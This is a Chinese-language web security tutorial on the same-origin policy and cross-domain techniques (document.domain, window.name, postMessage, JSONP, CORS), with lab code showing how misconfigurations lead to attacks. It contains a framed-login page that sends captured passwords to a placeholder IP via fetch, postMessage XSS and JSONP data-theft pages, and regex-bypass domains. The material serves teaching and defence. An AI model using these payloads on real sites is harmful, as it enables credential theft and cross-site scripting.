跨域方式及其產生的安全問題
前言
最近在學習和挖洞的過程中碰到了一些因為涉及跨域而產生的安全問題,結合之前所學總結分享一下
同源策略
概念
同源策略是一種約定,它是瀏覽器最核心也最基本的安全功能。以下特徵被稱之為同源
- 同協議 如: https://exp.org 與 http://exp.org 不同源
- 同埠 如: http://exp.org 與 http://exp.org:8080 不同源
- 同域名 如: http://aaa.org 與 http://bbb.org 不同源
同源策略有兩種限制,第一種是限制了不同源之間的請求互動,例如在使用XMLHttpRequest 或 fetch 函式時則會受到同源策略的約束。 第二個限制是瀏覽器中不同源的框架之間是不能進行js的互動操作的。比如通過iframe和window.open產生的不同源的視窗。這兩種限制都有不同的解決方案,下面會講解不同的解決方案和可能產生的安全問題。
注:
- 對於
<a>
<script>
<img>
<video>
<link>
這類屬性帶有src,href的標籤,允許跨域載入 - 跨域請求可以發出,但是瀏覽器檢視返回包發現跨域且無CORS頭則會丟棄,而且不同子域之間預設是不同源的
- IE 未將埠號加入到同源策略的組成部分之中,因此
company.com:81/index.html
和company.com/index.html
屬於同源並且不受任何限制。
作用
有人可能一開始覺得同源策略多此一舉,但如果沒有同源策略會怎麼樣?如果沒有同源策略,所有頁面之間都可以相互讀取,javascript就擁有無窮的權利。
舉個例子。假設A頁面是一個很敏感的登入系統,現在受害者先訪問了我們偽造的B網頁,然後誘導其登入A網頁
為了假設沒有同源策略,我以aaa.evoa.me為頁面A和bbb.evoa.me為頁面B。現實中兩個不同子域預設不同源
aaa.evoa.me/login.php
<!-- aaa.evoa.me/login.php --> <body> <div style="margin-left: 100px"> <form method="POST" id='form'> 使用者名稱: <br/> <input id=username type="text" name="username"> <br/> 密碼: <br/> <input id=password type="password" name="username"> <br/> <input type="submit" value="提交"> </div> </body> <!-- 下面設定為了模擬假設沒有同源策略 --> <script> document.domain="evoa.me" </script>
bbb.evoa.me/evil.php
<!-- bbb.evoa.me/evil.php --> <!-- 下面設定為了模擬假設沒有同源策略 --> <script> document.domain = "evoa.me" </script> <iframe src="//aaa.evoa.me/login.php" id="iframe" width=100% height=100% frameborder=0> </iframe> <script> var ifrw = document.getElementById('iframe').contentWindow; document.getElementById('iframe').onload = function(){ ifrw.document.getElementById('form').onsubmit = function(){ var username =ifrw.document.getElementById('username').value; var password =ifrw.document.getElementById('password').value; fetch('//xxx.xxx.xxx.xxx/?username='+username+'&'+'password='+password); } } </script>
跨域資料傳輸的方式
document.domain
此方法針對的是同源策略的第二個限制,即不同視窗之間的同源限制。且此方法只能影響頂級域名相同子域名不同之間的同源規則。
不同子域名之間預設不同源(如aaa.evoa.me與bbb.evoa.me),但是可以通過設定document.domain為相同的更高階域名,來使不同子域同源。
aaa.evoa.me/1.php
<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe>
bbb.evoa.me/2.php
<h1>123</h1>
通過修改document.domain
aaa.evoa.me/1.php
<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe> <script>document.domain = evoa.me</script>
bbb.evoa.me/2.php
<h1>123</h1> <script>document.domain = evoa.me</script>
注:
-
document.domain 只可以被設定為他的當前域或其當前域的父域,比如aaa.evoa.me可以設定document.domain為aaa.evoa.me 或 evoa.me,但是不能設定為aaa.evoa.com或者bbb.aaa.evoa.me
-
document.domain 的賦值操作會導致埠號被重寫為NULL,所以 aaa.evoa.me 僅設定document.domain為evoa.me 並不能與evoa.me進行通訊,evoa.me的頁面也必須賦值一次使雙方埠相同從而通過瀏覽器的同源檢測。這麼做的目的是,如果子域有XSS,那麼他的父域都存在安全隱患
-
設定document.domain並不會影響XMLHttpRequest 或 fetch的同源策略。
-
同一窗體不同視窗之間(iframe中的或window.open開啟的),是能夠獲取到彼此的window物件的,如
iframe.contentWindow
可以獲取iframe的window物件,但是不同源的情況下這個window物件的大部分屬性和方法是受限制的,如上圖alert函式一樣。下面是火狐瀏覽器的可用window方法屬性
如果某個子域為了和根域通訊,根域設定了document.domain為根域,那麼其他子域如果有xss漏洞可以直接跨同源攻擊根域和同樣設定了document.domain的其他子域
window.name
window物件有個name屬性,該屬性有個特徵:即在一個視窗(window)的生命週期內,視窗載入的所有的頁面都是共享一個window.name的,每個頁面對window.name都有讀寫的許可權,window.name是持久存在一個視窗載入過的所有頁面中的,並不會因新頁面的載入而進行重置。
舉個例子,頁面有個iframe,iframe中的頁面為A,無論iframe中的頁面A地址怎麼更改,這個iframe物件都是共享同一個window.name,A頁面設定window.name,再將iframe的src設定為B頁面,B頁面中的JS指令碼可以讀取到之前A頁面設定的window.name,簡而言之,window.name幾乎不受同源策略的影響
aaa.evoa.me/1.php
<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe>
bbb.evoa.me/2.php
<script> window.name = "flag{this_is_flag}"; </script>
aaa.evoa.me/3.php
<script> alert(window.name); </script>
首先,我們訪問iframe中的name屬性,瀏覽器返回了跨域訪問拒絕。但是我們通過設定iframe的src為3.php (3.php可以不與1.php同域),在iframe中的所有頁面共享window.name。然後 3.php
中的指令碼訪問到不同源的頁面2.php並獲取到了window.name
注:
- window.name的值只能是字串的形式,這個字串的大小最大能允許2M左右甚至更大的一個容量,具體取決於不同的瀏覽器
所以,永遠不要把敏感資料存在window.name中,否則敏感資料可以被任何其他網頁的JS指令碼獲取
location.hash
location.hash其實就是 URL 的錨部分(從 # 號開始的部分)
具體原理是改變hash並不會導致頁面重新整理,所以可以利用hash值來進行資料傳遞。不同域下location.hash也是不能相互讀取的
具體做法是,A域的頁面a載入一個iframe,設定iframe的src為 B域的b頁面+#傳輸給b的資料
,此時b頁面的js指令碼可以通過讀取location.hash獲得頁面a傳過來的資料,然後在b頁面再生成一個iframe,src指向 A域的頁面c+#傳輸給a的資料
,由於頁面c與頁面a同域同源,所以頁面c的指令碼可以修改a的locaition.hash
由於此跨域方法比較麻煩且無比較直接的安全問題,此處不細講
PostMessage
window.postMessage()方法可以安全地實現跨源通訊,被呼叫時,會在所有頁面指令碼執行完畢之後向目標視窗派發一個 MessageEvent
訊息。 該函式的第一個引數為傳送的訊息,第二個引數是匹配發送給的視窗的url地址(可以使用 *
,代表無限制通配),若目標url和此引數不匹配,訊息就不會被髮送。
被接受視窗則可以通過監聽message事件來獲取接受資訊
例:子視窗向父視窗傳遞資料
aaa.evoa.me/1.php
<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe> <script> window.addEventListener('message',function(e){ alert(e.data); }) </script>
bbb.evoa.me/2.php
<script> parent.postMessage('evoA','*'); </script>
如果事件監聽沒有判斷事件的來源,則會有很大的安全隱患,以下面為例
evoa.me/1.php
<?php setcookie("flag","flag{this_is_flag}"); ?> <iframe id='iframe' src="//evoa.me/2.php"></iframe> <h1 id="name"></h1> <script> window.addEventListener('message',function(e){ document.getElementById('name').innerHTML = e.data; }) </script>
本來1.php應該接受來自2.php傳過來的資料,但由於監聽事件並沒有任何判斷,所以我們可以構造惡意網頁,構造iframe src指向 evoa.me/1.php
往裡面傳資料造成xss
evil.com/evil.php
<iframe id="iframe" src="//evoa.me/1.php"></iframe>
如果正則設定不當,依舊可能造成安全隱患
evoa.me/1.php
<?php setcookie("flag","flag{this_is_flag}"); ?> <iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe> <h1 id="name"></h1> <script> window.addEventListener('message',function(e){ if(/^http:\/\/.*evoa\.me$/.test(e.origin)) document.getElementById('name').innerHTML = e.data; }) </script>
正則設定有誤,我們可以購買域名aaaevoa.me進行繞過
aaaevoa.me/evil.php
<iframe id="iframe" src="//evoa.me/1.php"></iframe>
JSONP
上面講過 <script>
標籤可以跨域載入資源,但是返回內容如果不符合JS語法同樣無法獲取資料,JSONP則是通過返回符合JS語法的資料內容使資源能夠跨域載入
aaa.evoa.me/1.php
<script> function echoData(data) { console.log("DATA: ", data); } </script> <script src="//bbb.evoa.me/2.php?func=echoData"></script>
bbb.evoa.me/2.php
<?php header('Content-type: application/javascript'); $func = $_REQUEST['func'] ?? "func"; $data = '["aaa","bbb","ccc","ddd"]'; echo $func . "(" . $data . ")"; ?>
即 1.php
頁面先設定好輸出資料的函式,通過 <script>
標籤請求 2.php
並帶有函式名引數, 2.php
把資料當函式引數傳入並根據函式名輸出對應函式呼叫語句, 1.php
獲得響應後自動呼叫函式即可獲取資料
本來一個極其巧妙的資料傳輸方式,但如果配置有問題,則可能產生安全隱患,假如一個沒有任何驗證的JSONP介面,用來傳輸使用者的敏感資料
evoa.me/2.php
<?php header('Content-type: application/javascript'); $func = $_REQUEST['func'] ?? "func"; $data = "{'username':'evoA','password':'123456789'}"; echo $func . "(" . $data . ")"; ?>
evil.com/evil.php
<script> function echoData(data) { alert("username: " + data.username + "\n" + "password: "+ data.password); } </script> <script src=//evoa.me/2.php?func=echoData></script>
如果未設定Content-type,會發生什麼?
evoa.me/2.php
<?php $func = $_REQUEST['func'] ?? "func"; $data = "{'username':'evoA','password':'123456789'}"; echo $func . "(" . $data . ")"; ?>
未設定Conten-type可以導致反射性XSS
但是就算設定好了Conten-type也可能會有安全隱患,比如IE可以在Conten-type為application/json或application/javascript的情況下XSS,具體可以看下面這篇文章
在application/json,application/javascript等Response下進行XSS
而且這種使用者完全可控點可以結合很多其他缺陷產生漏洞,所以這種介面還應該過濾非法字元
防禦方法:
- 驗證referer,很多介面驗證referer的正則有誤,可以通過繞過正則繼續攻擊,
- 驗證token
CORS
上面說過瀏覽器的同源策略有兩種限制,CORS頭就是為了突破不同源之間的請求互動這一限制而產生的,
只需要HTTP返回
Access-Control-Allow-Origin: http://evil.com
evil.com的跨域請求(XMLHttpRequest或fetch)的響應會被瀏覽器正確的返回
CORS的詳細內容可以看 https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS
evoa.me/1.php
<?php header("Access-Control-Allow-Origin: http://evil.com"); echo "flag{this_is_flag}"; ?>
如果設定 Access-Control-Allow-Origin: *
則所有的跨域訪問響應都會被允許。
如果請求需要帶上Cookie,則需要伺服器設定 Access-Control-Allow-Credentials: true
否則瀏覽器將不會把響應內容返回給請求的傳送者。
注:
如果設定 Access-Control-Allow-Origin: *
,則不管設沒設定 Access-Control-Allow-Credentials: true
,帶Cookie的請求都會失敗,這是瀏覽器的規定,若請求需帶上Cookie, Access-Control-Allow-Origin:
不能使用*
如果輸出 Access-Control-Allow-Origin
採用正則的方式,正則編寫失誤的話很可能產生安全漏洞
如下
evoa.me/1.php
<?php error_reporting(0); if(preg_match("/^http:\/\/.*\.?evoa.me/",getallheaders()['Origin'])) { header("Access-Control-Allow-Origin: ".getallheaders()['Origin']); } echo "flag{this_is_flag}"; ?>
由於正則沒有以$結尾,我們可以構造evoa.me.evil.com進行惡意訪問
一般來說只要正確配置 Access-Control-Allow-Origin
就可以避免這些隱患,特別是在用正則表示式進行匹配的時候需尤為謹慎
參考
https://www.jianshu.com/p/7d23b48ff8b8
https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy
https://developer.mozilla.org/zh-CN/docs/Web/API/Document/domain
https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS